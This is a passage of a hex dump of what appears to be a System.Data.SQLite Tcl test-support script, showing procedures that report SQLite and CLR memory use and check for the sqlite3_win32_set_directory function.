20 20 20 20 20 20 20 6f 62 6a 65 63 74 object 1ab00 20 69 6e 76 6f 6b 65 20 2d 66 6c 61 67 73 20 2b invoke -flags + 1ab10 4e 6f 6e 50 75 62 6c 69 63 20 5c 0d 0a 20 20 20 NonPublic \.. 1ab20 20 20 20 20 20 20 20 20 20 20 20 53 79 73 74 65 Syste 1ab30 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 53 51 m.Data.SQLite.SQ 1ab40 4c 69 74 65 4d 65 6d 6f 72 79 20 62 79 74 65 73 LiteMemory bytes 1ab50 41 6c 6c 6f 63 61 74 65 64 0d 0a 20 20 20 20 20 Allocated.. 1ab60 20 20 20 7d 20 6d 65 6d 6f 72 79 5d 20 3d 3d 20 } memory] == 1ab70 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 0} then {.. 1ab80 20 20 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 if {!$quiet 1ab90 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 1aba0 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 tputs$cha 1abb0 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs 1abc0 20 24 6d 65 6d 6f 72 79 20 22 20 62 79 74 65 73 $memory " bytes 1abd0 5c 6e 22 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 \n"].. 1abe0 7d 0d 0a 20 20 20 20 20 20 20 20 7d 20 65 6c 73 }.. } els 1abf0 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 73 e {.. s 1ac00 65 74 20 6d 65 6d 6f 72 79 20 75 6e 6b 6e 6f 77 et memory unknow 1ac10 6e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 69 n.... i 1ac20 66 20 7b 21 24 71 75 69 65 74 7d 20 74 68 65 6e f {!$quiet} then 1ac30 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1ac40 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b tputs $channel [ 1ac50 61 70 70 65 6e 64 41 72 67 73 20 24 6d 65 6d 6f appendArgs$memo 1ac60 72 79 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 ry \n].. 1ac70 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a }.. }.. 1ac80 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 21 24 .. if {!$1ac90 71 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 quiet} then {.. 1aca0 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 tputs$ 1acb0 63 68 61 6e 6e 65 6c 20 22 2d 2d 2d 2d 20 6d 61 channel "---- ma 1acc0 78 69 6d 75 6d 20 6d 65 6d 6f 72 79 20 69 6e 20 ximum memory in 1acd0 75 73 65 20 62 79 20 53 51 4c 69 74 65 4d 65 6d use by SQLiteMem 1ace0 6f 72 79 2e 2e 2e 20 22 0d 0a 20 20 20 20 20 20 ory... ".. 1acf0 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 }.... i 1ad00 66 20 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 20 f {[catch {.. 1ad10 20 20 20 20 20 20 20 6f 62 6a 65 63 74 20 69 6e object in 1ad20 76 6f 6b 65 20 2d 66 6c 61 67 73 20 2b 4e 6f 6e voke -flags +Non 1ad30 50 75 62 6c 69 63 20 5c 0d 0a 20 20 20 20 20 20 Public \.. 1ad40 20 20 20 20 20 20 20 20 53 79 73 74 65 6d 2e 44 System.D 1ad50 61 74 61 2e 53 51 4c 69 74 65 2e 53 51 4c 69 74 ata.SQLite.SQLit 1ad60 65 4d 65 6d 6f 72 79 20 6d 61 78 69 6d 75 6d 42 eMemory maximumB 1ad70 79 74 65 73 41 6c 6c 6f 63 61 74 65 64 0d 0a 20 ytesAllocated.. 1ad80 20 20 20 20 20 20 20 7d 20 6d 65 6d 6f 72 79 5d } memory] 1ad90 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 == 0} then {.. 1ada0 20 20 20 20 20 20 20 20 20 69 66 20 7b 21 24 71 if {!$q 1adb0 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 uiet} then {.. 1adc0 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 tputs 1add0 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64$channel [append 1ade0 41 72 67 73 20 24 6d 65 6d 6f 72 79 20 22 20 62 Args $memory " b 1adf0 79 74 65 73 5c 6e 22 5d 0d 0a 20 20 20 20 20 20 ytes\n"].. 1ae00 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d }.. } 1ae10 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 else {.. 1ae20 20 20 20 73 65 74 20 6d 65 6d 6f 72 79 20 75 6e set memory un 1ae30 6b 6e 6f 77 6e 0d 0a 0d 0a 20 20 20 20 20 20 20 known.... 1ae40 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 if {!$quiet} 1ae50 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 1ae60 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e tputs $chann 1ae70 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 24 el [appendArgs$ 1ae80 6d 65 6d 6f 72 79 20 5c 6e 5d 0d 0a 20 20 20 20 memory \n].. 1ae90 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 }.. 1aea0 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 }.. }.... 1aeb0 20 20 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 if {!$quiet 1aec0 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 1aed0 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c tputs$channel 1aee0 20 22 2d 2d 2d 2d 20 63 75 72 72 65 6e 74 20 6d "---- current m 1aef0 65 6d 6f 72 79 20 69 6e 20 75 73 65 20 62 79 20 emory in use by 1af00 53 51 4c 69 74 65 2e 2e 2e 20 22 0d 0a 20 20 20 SQLite... ".. 1af10 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 }.... if 1af20 20 7b 5b 68 61 76 65 53 51 4c 69 74 65 4f 62 6a {[haveSQLiteObj 1af30 65 63 74 43 6f 6d 6d 61 6e 64 5d 7d 20 74 68 65 ectCommand]} the 1af40 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 n {.. if 1af50 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 {[catch {.. 1af60 20 20 20 20 20 6f 62 6a 65 63 74 20 69 6e 76 6f object invo 1af70 6b 65 20 2d 66 6c 61 67 73 20 2b 4e 6f 6e 50 75 ke -flags +NonPu 1af80 62 6c 69 63 20 5c 0d 0a 20 20 20 20 20 20 20 20 blic \.. 1af90 20 20 20 20 20 20 53 79 73 74 65 6d 2e 44 61 74 System.Dat 1afa0 61 2e 53 51 4c 69 74 65 2e 55 6e 73 61 66 65 4e a.SQLite.UnsafeN 1afb0 61 74 69 76 65 4d 65 74 68 6f 64 73 20 73 71 6c ativeMethods sql 1afc0 69 74 65 33 5f 6d 65 6d 6f 72 79 5f 75 73 65 64 ite3_memory_used 1afd0 0d 0a 20 20 20 20 20 20 20 20 7d 20 6d 65 6d 6f .. } memo 1afe0 72 79 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b ry] == 0} then { 1aff0 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 7b .. if { 1b000 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d !$quiet} then {. 1b010 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 70 75 . tpu 1b020 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 ts$channel [app 1b030 65 6e 64 41 72 67 73 20 24 6d 65 6d 6f 72 79 20 endArgs $memory 1b040 22 20 62 79 74 65 73 5c 6e 22 5d 0d 0a 20 20 20 " bytes\n"].. 1b050 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 1b060 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 } else {.. 1b070 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 1b080 20 20 20 23 20 4e 4f 54 45 3a 20 4d 61 79 62 65 # NOTE: Maybe 1b090 20 74 68 65 20 53 51 4c 69 74 65 20 63 6f 72 65 the SQLite core 1b0a0 20 6c 69 62 72 61 72 79 20 69 73 20 75 6e 61 76 library is unav 1b0b0 61 69 6c 61 62 6c 65 3f 0d 0a 20 20 20 20 20 20 ailable?.. 1b0c0 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 #.. 1b0d0 20 73 65 74 20 6d 65 6d 6f 72 79 20 75 6e 6b 6e set memory unkn 1b0e0 6f 77 6e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 own.... 1b0f0 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 74 68 if {!$quiet} th 1b100 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 1b110 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c tputs $channel 1b120 20 5b 61 70 70 65 6e 64 41 72 67 73 20 24 6d 65 [appendArgs$me 1b130 6d 6f 72 79 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 mory \n].. 1b140 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d }.. } 1b150 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b .. } else { 1b160 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 6d 65 .. set me 1b170 6d 6f 72 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 mory unavailable 1b180 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b .... if { 1b190 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d !$quiet} then {. 1b1a0 0a 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 . tputs 1b1b0 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e$channel [appen 1b1c0 64 41 72 67 73 20 24 6d 65 6d 6f 72 79 20 5c 6e dArgs $memory \n 1b1d0 5d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 ].. }.. 1b1e0 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 73 }.... s 1b1f0 65 74 20 72 65 73 75 6c 74 20 24 6d 65 6d 6f 72 et result$memor 1b200 79 3b 20 23 20 4e 4f 54 45 3a 20 52 65 74 75 72 y; # NOTE: Retur 1b210 6e 20 6d 65 6d 6f 72 79 20 69 6e 2d 75 73 65 20 n memory in-use 1b220 74 6f 20 6f 75 72 20 63 61 6c 6c 65 72 2e 0d 0a to our caller... 1b230 0d 0a 20 20 20 20 20 20 69 66 20 7b 21 24 71 75 .. if {!$qu 1b240 69 65 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 iet} then {.. 1b250 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e tputs$chan 1b260 6e 65 6c 20 22 2d 2d 2d 2d 20 6d 61 78 69 6d 75 nel "---- maximu 1b270 6d 20 6d 65 6d 6f 72 79 20 69 6e 20 75 73 65 20 m memory in use 1b280 62 79 20 53 51 4c 69 74 65 2e 2e 2e 20 22 0d 0a by SQLite... ".. 1b290 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 }.... 1b2a0 20 69 66 20 7b 5b 68 61 76 65 53 51 4c 69 74 65 if {[haveSQLite 1b2b0 4f 62 6a 65 63 74 43 6f 6d 6d 61 6e 64 5d 7d 20 ObjectCommand]} 1b2c0 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 1b2d0 69 66 20 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 if {[catch {.. 1b2e0 20 20 20 20 20 20 20 20 6f 62 6a 65 63 74 20 69 object i 1b2f0 6e 76 6f 6b 65 20 2d 66 6c 61 67 73 20 2b 4e 6f nvoke -flags +No 1b300 6e 50 75 62 6c 69 63 20 5c 0d 0a 20 20 20 20 20 nPublic \.. 1b310 20 20 20 20 20 20 20 20 20 53 79 73 74 65 6d 2e System. 1b320 44 61 74 61 2e 53 51 4c 69 74 65 2e 55 6e 73 61 Data.SQLite.Unsa 1b330 66 65 4e 61 74 69 76 65 4d 65 74 68 6f 64 73 20 feNativeMethods 1b340 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 1b350 20 73 71 6c 69 74 65 33 5f 6d 65 6d 6f 72 79 5f sqlite3_memory_ 1b360 68 69 67 68 77 61 74 65 72 20 30 0d 0a 20 20 20 highwater 0.. 1b370 20 20 20 20 20 7d 20 6d 65 6d 6f 72 79 5d 20 3d } memory] = 1b380 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 = 0} then {.. 1b390 20 20 20 20 20 20 20 69 66 20 7b 21 24 71 75 69 if {!$qui 1b3a0 65 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 et} then {.. 1b3b0 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 63 tputs$c 1b3c0 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 hannel [appendAr 1b3d0 67 73 20 24 6d 65 6d 6f 72 79 20 22 20 62 79 74 gs $memory " byt 1b3e0 65 73 5c 6e 22 5d 0d 0a 20 20 20 20 20 20 20 20 es\n"].. 1b3f0 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 20 65 }.. } e 1b400 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 lse {.. 1b410 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 23 20 #.. # 1b420 4e 4f 54 45 3a 20 4d 61 79 62 65 20 74 68 65 20 NOTE: Maybe the 1b430 53 51 4c 69 74 65 20 63 6f 72 65 20 6c 69 62 72 SQLite core libr 1b440 61 72 79 20 69 73 20 75 6e 61 76 61 69 6c 61 62 ary is unavailab 1b450 6c 65 3f 0d 0a 20 20 20 20 20 20 20 20 20 20 23 le?.. # 1b460 0d 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 20 .. set 1b470 6d 65 6d 6f 72 79 20 75 6e 6b 6e 6f 77 6e 0d 0a memory unknown.. 1b480 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 7b .. if { 1b490 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d !$quiet} then {. 1b4a0 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 70 75 . tpu 1b4b0 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 ts $channel [app 1b4c0 65 6e 64 41 72 67 73 20 24 6d 65 6d 6f 72 79 20 endArgs$memory 1b4d0 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 7d \n].. } 1b4e0 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 .. }.. 1b4f0 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 } else {.. 1b500 20 20 20 20 20 73 65 74 20 6d 65 6d 6f 72 79 20 set memory 1b510 75 6e 61 76 61 69 6c 61 62 6c 65 0d 0a 0d 0a 20 unavailable.... 1b520 20 20 20 20 20 20 20 69 66 20 7b 21 24 71 75 69 if {!$qui 1b530 65 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 et} then {.. 1b540 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 tputs$cha 1b550 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs 1b560 20 24 6d 65 6d 6f 72 79 20 5c 6e 5d 0d 0a 20 20 $memory \n].. 1b570 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d }.. } 1b580 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b 24 63 .... if {$c 1b590 6f 6c 6c 65 63 74 7d 20 74 68 65 6e 20 7b 0d 0a ollect} then {.. 1b5a0 20 20 20 20 20 20 20 20 63 6f 6c 6c 65 63 74 47 collectG 1b5b0 61 72 62 61 67 65 20 24 63 68 61 6e 6e 65 6c 0d arbage $channel. 1b5c0 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 . }.... 1b5d0 20 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 74 if {!$quiet} t 1b5e0 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 hen {.. t 1b5f0 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 22 2d puts $channel "- 1b600 2d 2d 2d 20 63 75 72 72 65 6e 74 20 6d 65 6d 6f --- current memo 1b610 72 79 20 69 6e 20 75 73 65 20 62 79 20 74 68 65 ry in use by the 1b620 20 43 4c 52 2e 2e 2e 20 22 0d 0a 20 20 20 20 20 CLR... ".. 1b630 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b }.... if { 1b640 5b 68 61 76 65 53 51 4c 69 74 65 4f 62 6a 65 63 [haveSQLiteObjec 1b650 74 43 6f 6d 6d 61 6e 64 5d 7d 20 74 68 65 6e 20 tCommand]} then 1b660 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b {.. if {[ 1b670 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 catch {.. 1b680 20 20 20 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 object invoke 1b690 20 47 43 20 47 65 74 54 6f 74 61 6c 4d 65 6d 6f GC GetTotalMemo 1b6a0 72 79 20 66 61 6c 73 65 0d 0a 20 20 20 20 20 20 ry false.. 1b6b0 20 20 7d 20 6d 65 6d 6f 72 79 5d 20 3d 3d 20 30 } memory] == 0 1b6c0 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 1b6d0 20 20 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 20 if {[string 1b6e0 69 73 20 69 6e 74 65 67 65 72 20 2d 73 74 72 69 is integer -stri 1b6f0 63 74 20 24 6d 65 6d 6f 72 79 5d 7d 20 74 68 65 ct$memory]} the 1b700 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n {.. 1b710 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 74 68 if {!$quiet} th 1b720 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 1b730 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e tputs$chann 1b740 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 24 el [appendArgs $1b750 6d 65 6d 6f 72 79 20 22 20 62 79 74 65 73 5c 6e memory " bytes\n 1b760 22 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 "].. 1b770 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 20 65 }.. } e 1b780 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 lse {.. 1b790 20 20 20 73 65 74 20 6d 65 6d 6f 72 79 20 69 6e set memory in 1b7a0 76 61 6c 69 64 0d 0a 0d 0a 20 20 20 20 20 20 20 valid.... 1b7b0 20 20 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 if {!$quiet 1b7c0 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 1b7d0 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 63 tputs $c 1b7e0 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 hannel [appendAr 1b7f0 67 73 20 24 6d 65 6d 6f 72 79 20 5c 6e 5d 0d 0a gs$memory \n].. 1b800 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 }.. 1b810 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 }.. 1b820 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 } else {.. 1b830 20 20 20 20 20 20 20 20 73 65 74 20 6d 65 6d 6f set memo 1b840 72 79 20 75 6e 6b 6e 6f 77 6e 0d 0a 0d 0a 20 20 ry unknown.... 1b850 20 20 20 20 20 20 20 20 69 66 20 7b 21 24 71 75 if {!$qu 1b860 69 65 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 iet} then {.. 1b870 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 tputs$ 1b880 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA 1b890 72 67 73 20 24 6d 65 6d 6f 72 79 20 5c 6e 5d 0d rgs $memory \n]. 1b8a0 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 . }.. 1b8b0 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d }.. } 1b8c0 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 else {.. 1b8d0 20 73 65 74 20 6d 65 6d 6f 72 79 20 75 6e 61 76 set memory unav 1b8e0 61 69 6c 61 62 6c 65 0d 0a 0d 0a 20 20 20 20 20 ailable.... 1b8f0 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 if {!$quiet} 1b900 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 1b910 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c tputs $channel 1b920 20 5b 61 70 70 65 6e 64 41 72 67 73 20 24 6d 65 [appendArgs$me 1b930 6d 6f 72 79 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 mory \n].. 1b940 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a }.. }.... 1b950 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 72 65 return $re 1b960 73 75 6c 74 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a sult.. }..... 1b970 20 20 20 20 70 72 6f 63 20 63 68 65 63 6b 46 6f proc checkFo 1b980 72 53 51 4c 69 74 65 44 69 72 65 63 74 6f 72 69 rSQLiteDirectori 1b990 65 73 20 7b 20 63 68 61 6e 6e 65 6c 20 7b 72 65 es { channel {re 1b9a0 73 65 74 20 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a set false} } {.. 1b9b0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 #.. # 1b9c0 20 4e 4f 54 45 3a 20 43 68 65 63 6b 20 69 66 20 NOTE: Check if 1b9d0 74 68 65 20 73 71 6c 69 74 65 33 5f 77 69 6e 33 the sqlite3_win3 1b9e0 32 5f 73 65 74 5f 64 69 72 65 63 74 6f 72 79 20 2_set_directory 1b9f0 66 75 6e 63 74 69 6f 6e 20 69 73 20 61 76 61 69 function is avai 1ba00 6c 61 62 6c 65 2e 0d 0a 20 20 20 20 20 20 23 0d lable... #. 1ba10 0a 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 . tputs$ch 1ba20 61 6e 6e 65 6c 20 5c 0d 0a 20 20 20 20 20 20 20 annel \.. 1ba30 20 20 20 22 2d 2d 2d 2d 20 63 68 65 63 6b 69 6e "---- checkin 1ba40 67 20 66 6f 72 20 66 75 6e 63 74 69 6f 6e 20 73 g for function s 1ba50 71 6c 69 74 65 33 5f 77 69 6e 33 32 5f 73 65 74 qlite3_win32_set 1ba60 5f 64 69 72 65 63 74 6f 72 79 2e 2e 2e 20 22 0d _directory... ". 1ba70 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 ... #.. 1ba80 20 20 23 20 4e 4f 54 45 3a 20 54 68 69 73 20 63 # NOTE: This c 1ba90 61 6c 6c 20 74 6f 20 74 68 65 20 73 71 6c 69 74 all to the sqlit 1baa0 65 33 5f 77 69 6e 33 32 5f 73 65 74 5f 64 69 72 e3_win32_set_dir 1bab0 65 63 74 6f 72 79 20 66 75 6e 63 74 69 6f 6e 20 ectory function 1bac0 75 73 65 73 20 74 68 65 0d 0a 20 20 20 20 20 20 uses the.. 1bad0 23 20 20 20 20 20 20 20 69 6e 76 61 6c 69 64 20 # invalid 1bae0 76 61 6c 75 65 20 30 20 66 6f 72 20 74 68 65 20 value 0 for the 1baf0 66 69 72 73 74 20 61 72 67 75 6d 65 6e 74 2e 20 first argument. 1bb00 20 54 68 69 73 20 63 6f 64 65 20 69 73 20 64 65 This code is de 1bb10 73 69 67 6e 65 64 0d 0a 20 20 20 20 20 20 23 20 signed.. # 1bb20 20 20 20 20 20 20 74 6f 20 63 68 65 63 6b 20 69 to check i 1bb30 66 20 63 61 6c 6c 69 6e 67 20 74 68 65 20 66 75 f calling the fu 1bb40 6e 63 74 69 6f 6e 20 77 69 6c 6c 20 72 61 69 73 nction will rais 1bb50 65 20 61 6e 20 65 78 63 65 70 74 69 6f 6e 20 28 e an exception ( 1bb60 69 2e 65 2e 0d 0a 20 20 20 20 20 20 23 20 20 20 i.e... # 1bb70 20 20 20 20 74 68 65 20 61 63 74 75 61 6c 20 72 the actual r 1bb80 65 73 75 6c 74 20 6f 66 20 74 68 65 20 66 75 6e esult of the fun 1bb90 63 74 69 6f 6e 20 64 6f 65 73 20 6e 6f 74 20 6d ction does not m 1bba0 61 74 74 65 72 20 61 73 20 6c 6f 6e 67 20 61 73 atter as long as 1bbb0 20 6e 6f 0d 0a 20 20 20 20 20 20 23 20 20 20 20 no.. # 1bbc0 20 20 20 64 69 72 65 63 74 6f 72 79 20 69 73 20 directory is 1bbd0 63 68 61 6e 67 65 64 29 2e 0d 0a 20 20 20 20 20 changed)... 1bbe0 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 63 #.. if {[c 1bbf0 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 atch {.. 1bc00 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 2d 66 object invoke -f 1bc10 6c 61 67 73 20 2b 4e 6f 6e 50 75 62 6c 69 63 20 lags +NonPublic 1bc20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 53 \.. S 1bc30 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 ystem.Data.SQLit 1bc40 65 2e 55 6e 73 61 66 65 4e 61 74 69 76 65 4d 65 e.UnsafeNativeMe 1bc50 74 68 6f 64 73 20 5c 0d 0a 20 20 20 20 20 20 20 thods \.. 1bc60 20 20 20 20 20 73 71 6c 69 74 65 33 5f 77 69 6e sqlite3_win 1bc70 33 32 5f 73 65 74 5f 64 69 72 65 63 74 6f 72 79 32_set_directory 1bc80 20 30 20 6e 75 6c 6c 0d 0a 20 20 20 20 20 20 7d 0 null.. } 1bc90 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a ] == 0} then {.. 1bca0 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 1bcb0 20 20 20 23 20 4e 4f 54 45 3a 20 43 61 6c 6c 69 # NOTE: Calli 1bcc0 6e 67 20 74 68 65 20 73 71 6c 69 74 65 33 5f 77 ng the sqlite3_w 1bcd0 69 6e 33 32 5f 73 65 74 5f 64 69 72 65 63 74 6f in32_set_directo 1bce0 72 79 20 66 75 6e 63 74 69 6f 6e 20 64 6f 65 73 ry function does 1bcf0 20 6e 6f 74 0d 0a 20 20 20 20 20 20 20 20 23 20 not.. # 1bd00 20 20 20 20 20 20 63 61 75 73 65 20 61 6e 20 65 cause an e 1bd10 78 63 65 70 74 69 6f 6e 3b 20 74 68 65 72 65 66 xception; theref 1bd20 6f 72 65 2c 20 69 74 20 6d 75 73 74 20 62 65 20 ore, it must be 1bd30 61 76 61 69 6c 61 62 6c 65 20 28 69 2e 65 2e 0d available (i.e.. 1bd40 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 . # 1bd50 20 65 76 65 6e 20 74 68 6f 75 67 68 20 69 74 20 even though it 1bd60 73 68 6f 75 6c 64 20 72 65 74 75 72 6e 20 61 20 should return a 1bd70 66 61 69 6c 75 72 65 20 72 65 74 75 72 6e 20 63 failure return c 1bd80 6f 64 65 20 69 6e 20 74 68 69 73 0d 0a 20 20 20 ode in this.. 1bd90 20 20 20 20 20 23 20 20 20 20 20 20 20 63 61 73 # cas 1bda0 65 29 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a e)... #.. 1bdb0 20 20 20 20 20 20 20 20 61 64 64 43 6f 6e 73 74 addConst 1bdc0 72 61 69 6e 74 20 73 71 6c 69 74 65 33 5f 77 69 raint sqlite3_wi 1bdd0 6e 33 32 5f 73 65 74 5f 64 69 72 65 63 74 6f 72 n32_set_director 1bde0 79 0d 0a 0d 0a 20 20 20 20 20 20 20 20 74 70 75 y.... tpu 1bdf0 74 73 20 24 63 68 61 6e 6e 65 6c 20 79 65 73 5c ts $channel yes\ 1be00 6e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a n.... #.. 1be10 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 # NOTE: 1be20 44 6f 65 73 20 6f 75 72 20 63 61 6c 6c 65 72 20 Does our caller 1be30 77 61 6e 74 20 74 6f 20 72 65 73 65 74 20 74 68 want to reset th 1be40 65 20 64 69 72 65 63 74 6f 72 69 65 73 3f 0d 0a e directories?.. 1be50 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 1be60 20 20 20 69 66 20 7b 24 72 65 73 65 74 7d 20 74 if {$reset} t 1be70 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 1be80 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 23 20 #.. # 1be90 4e 4f 54 45 3a 20 4e 6f 77 20 6d 61 6b 